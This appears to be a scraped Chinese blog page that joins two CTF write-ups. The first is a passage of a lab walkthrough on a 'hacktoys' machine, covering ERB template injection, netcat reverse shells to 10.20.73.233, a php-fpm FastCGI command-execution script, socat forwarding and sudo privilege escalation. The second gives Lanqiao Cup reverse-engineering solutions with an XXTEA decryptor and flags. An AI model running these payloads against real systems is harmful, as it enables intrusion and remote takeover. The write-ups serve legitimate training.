SF:,\x20td\x20{\n\x20\x20\x20\x20\x20\x20font-family:\x20helvetica,\x20ver SF:dana,\x20arial,\x20sans-serif;\n\x20\x20\x20\x20\x20\x20font-size:\x20\ SF:x20\x2013px;\n\x20\x20\x20\x20\x20\x20line-height:\x2018px;\n\x20\x20\x SF:20\x20}\n\n\x20\x20\x20\x20pre\x20{\n\x20\x20\x20\x20\x20\x20font-size: SF:\x2011px;\n\x20\x20\x20\x20\x20\x20white-space:\x20pre-wrap;\n\x20\x20\ SF:x20\x20}\n\n\x20\x20\x20\x20pre\.box\x20{\n\x20\x20\x20\x20\x20\x20bord SF:er:\x201px\x20solid\x20#EEE;\n\x20\x20\x20\x20\x20\x20padding:\x2010px; SF:\n\x20\x20\x20\x20\x20\x20margin:\x200px;\n\x20\x20\x20\x20\x20\x20widt SF:h:\x20958px;\n\x20\x20\x20\x20}\n\n\x20\x20\x20\x20header\x20{\n\x20\x2 SF:0\x20\x20\x20\x20color:\x20#F0F0F0;\n\x20\x20\x20\x20\x20\x20background SF::\x20#C00;\n\x20\x20\x20\x20\x20\x20padding:"); MAC Address: 00:0C:29:82:76:43 (VMware) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 66.17 seconds看到了ssl,尝试使用https访问image-20240916160728361.png漏洞发现web打点查看这五个链接,如图所示,这五个链接都是黑客工具image-20240916171846634.png接下来测试下面的输入框image-20240916172453682.png随意输入内容提示Product does not exist发现这串字符串就是message的参数,修改message为123查看image-20240916172632531.png提示的字符变成了123,这边很明显有一个xss漏洞不过并没什么用image-20240916173245082.png查看网站变成语言,是rubyimage-20240916173606124.pngRuby/ERB ssti经过搜索,这里是ERB的ssti,可用使用<%= (ruby代码) %>模板来执行命名测试一下,将<%= 7*7 %>url编码传入image-20240916180036622.png输入了49,说名存在漏洞尝试反弹shell构造反弹shell命令<%= system("nc -e /bin/sh 10.20.73.233 5555"); %>image-20240916182939850.png有pyhton ,使用python开一下虚拟终端python3 -c "import pty;pty.spawn('/bin/bash')"image-20240916183154924.png提权image-20240916200655562.png在本地开了一个80,9000端口,将这两个端口转发出来lidia@hacktoys:/tmp$ ./socat TCP-LISTEN:9001,reuseaddr,fork TCP:127.0.0.1:9000 & <CP-LISTEN:9001,reuseaddr,fork TCP:127.0.0.1:9000 & [1] 1281 lidia@hacktoys:/tmp$ ./socat TCP-LISTEN:8080,reuseaddr,fork TCP:127.0.0.1:80 & < TCP-LISTEN:8080,reuseaddr,fork TCP:127.0.0.1:80 & [2] 1282 lidia@hacktoys:/tmp$ ss -nltp ss -nltp State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess LISTEN 0 5 0.0.0.0:8080 0.0.0.0:* users:(("socat",pid=1282,fd=5)) LISTEN 0 511 127.0.0.1:80 0.0.0.0:* LISTEN 0 128 0.0.0.0:22 0.0.0.0:* LISTEN 0 4096 127.0.0.1:9000 0.0.0.0:* LISTEN 0 1024 0.0.0.0:3000 0.0.0.0:* users:(("ruby",pid=593,fd=7)) LISTEN 0 5 0.0.0.0:9001 0.0.0.0:* users:(("socat",pid=1281,fd=5)) LISTEN 0 128 [::]:22 [::]:* 访问转发出来的 80端口image-20240916202945326.png测了半天也找到什么漏洞转移目标至9000端口image-20240916203819728.png发现靶机进程中有php-fpm,它的默认端口正好是9000https://book.hacktricks.xyz/network-services-pentesting/9000-pentesting-fastcgi在网上找到大佬的的脚本可以直接命令执行改个端口和路径就能直接打#!/bin/bash PAYLOAD="<?php echo '<!--'; system('whoami'); echo '-->';" FILENAMES="/var/www/html/index.php" # Exisiting file path HOST=$1 B64=$(echo "$PAYLOAD"|base64) for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i \ PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \ SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \ cgi-fcgi -bind -connect $HOST:9001 &> $OUTPUT cat $OUTPUT doneimage-20240916205923580.png发现使用dodi用户,直接反弹shell提权至该用户提权至dodi修改执行的命令#!/bin/bash PAYLOAD="<?php echo '<!--'; system('nc -e /bin/bash 10.20.73.233 6666'); echo '-->';" FILENAMES="/var/www/html/index.php" # Exisiting file path HOST=$1 B64=$(echo "$PAYLOAD"|base64) for FN in $FILENAMES; do OUTPUT=$(mktemp) env -i \ PHP_VALUE="allow_url_include=1"$'\n'"allow_url_fopen=1"$'\n'"auto_prepend_file='data://text/plain\;base64,$B64'" \ SCRIPT_FILENAME=$FN SCRIPT_NAME=$FN REQUEST_METHOD=POST \ cgi-fcgi -bind -connect $HOST:9001 &> $OUTPUT cat $OUTPUT doneimage-20240916210302784.png提权至rootsudo -l 发现该用户可以使用sudo运行/usr/local/bin/rvm_rails.sh这个脚本image-20240916210822816.png运行脚本dodi@hacktoys:/var/www/html$ sudo /usr/local/bin/rvm_rails.sh sudo /usr/local/bin/rvm_rails.sh Usage: rails COMMAND [options] You must specify a command: new Create a new Rails application. "rails new my_app" creates a new application called MyApp in "./my_app" plugin new Create a new Rails railtie or engine All commands can be run with -h (or --help) for more information. Inside a Rails application directory, some common commands are: console Start the Rails console server Start the Rails server test Run tests except system tests发现是rails Rails 是使用Ruby 语言编写的网页程序开发框架分析脚本#!/bin/bash export rvm_prefix=/usr/local export MY_RUBY_HOME=/usr/local/rvm/rubies/ruby-3.1.0 export RUBY_VERSION=ruby-3.1.0 export rvm_version=1.29.12 export rvm_bin_path=/usr/local/rvm/bin export GEM_PATH=/usr/local/rvm/gems/ruby-3.1.0:/usr/local/rvm/gems/ruby-3.1.0@global export GEM_HOME=/usr/local/rvm/gems/ruby-3.1.0 export PATH=/usr/local/rvm/gems/ruby-3.1.0/bin:/usr/local/rvm/gems/ruby-3.1.0@global/bin:/usr/local/rvm/rubies/ruby-3.1.0/bin:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games:/usr/local/rvm/bin export IRBRC=/usr/local/rvm/rubies/ruby-3.1.0/.irbrc export rvm_path=/usr/local/rvm exec /usr/local/rvm/gems/ruby-3.1.0/bin/rails "$@"脚本之后执行了/usr/local/rvm/gems/ruby-3.1.0/bin/rails这个文件image-20240916211743699.pngdodi@hacktoys:/var/www/html$ cat /etc/group | grep rvm cat /etc/group | grep rvm rvm:x:1002:lidia,rootlidia用户对该文件有修改权限,使用该用户在这个文件中写入/bin/bash即可提权lidia@hacktoys:/tmp$ echo "/bin/bash" > /usr/local/rvm/gems/ruby-3.1.0/bin/rails <in/bash" > /usr/local/rvm/gems/ruby-3.1.0/bin/rails lidia@hacktoys:/tmp$ dodi@hacktoys:/var/www/html$ sudo /usr/local/bin/rvm_rails.sh sudo /usr/local/bin/rvm_rails.sh root@hacktoys:/var/www/html# id id uid=0(root) gid=0(root) groups=0(root),1002(rvm) 蓝桥杯-网络安全 reverse wp https://dirtycow.cn/237.html 2024-04-27T10:18:00+08:00 re1ida查看打开,直接看伪代码image-20240427111249890.png程序逻辑很简单,将输入保存到buff,经过cry函数加密,和密文v6进行比较直接查看cry函数image-20240427111630697.png经过分析,这是一个魔改的xxtea加密,改了循环轮数和DELTA值写脚本解密enc#include <stdio.h> #include <stdint.h> #define DELTA 0x9e3779b9 void btea(uint32_t *v, int n, uint32_t const key[4]) { uint32_t y, z, sum; unsigned i, rounds, e; rounds = 415 / n + 114; //确定轮转数 sum = rounds*DELTA; //根据轮转数计算sum y = v[0]; do { e = (sum >> 2) & 3; for (i=n-1; i>0; i--) //逆序倒推 { z = v[i-1]; //先解密v[n-1],需要知道v[0]和v[n-2], v[i] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(i&3)^e] ^ z))); y = v[i];//只会解密到v[1] } z = v[n-1]; //对于第一个v[0]的解密,要知道v[n-1]和v[1] v[0] -= (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(i&3)^e] ^ z))); y = v[0]; sum += 0x61C88647; } while (--rounds); } int main() { uint32_t enc_data[] = {0x480AC20C,0x0CE9037F2,0x8C212018,0x0E92A18D,0x0A4035274,0x2473AAB1,0x0A9EFDB58,0x0A52CC5C8,0x0E432CB51,0x0D04E9223,0x6FD07093}; uint32_t const k[4]= {0x79696755,0x67346F6C,0x69231231,0x5F674231}; int n= 11; btea(enc_data, n, k); for(int i = 0; i < sizeof(enc_data)/sizeof(uint32_t); i++) { printf("%x", enc_data[i]); } return 0; }运行结果:67616c666366657b6638666363302d30312d37392d636532306532383963302d34323964333365327d35为了方便使用python将这段十六进制转换成stringenc = "67616c666366657b6638666363302d30312d37392d636532306532383963302d34323964333365327d35" for i in range(0,len(enc), 2): print(chr(int(enc[i:i+2], 16)),end="")运行结果:galfcfe{f8fcc0-01-79-ce20e289c0-429d33e2}5发现flag的顺序不对,应该是大小端序的原因,修改代码enc = "67616c666366657b6638666363302d30312d37392d636532306532383963302d34323964333365327d35" flag='' for i in range(0,len(enc), 2): flag += chr(int(enc[i:i+2], 16)) for i in range(0,len(flag),4): print((flag[i:i+4][::-1]),end="")运行结果:flag{efccf8f0-0c97-12ec-82e0-0c9d9242e335}re2直接上ida查看伪代码image-20240427093116948.pngimage-20240427093129676.png这里是一堆赋值,最后将这些变量传入了sub_401005函数,跟进去查看image-20240427093427762.png这就是个rc4加密,我们在return上打个断点就能看到解密后的数据image-20240427093458621.png成功getflagimage-20240427093627803.png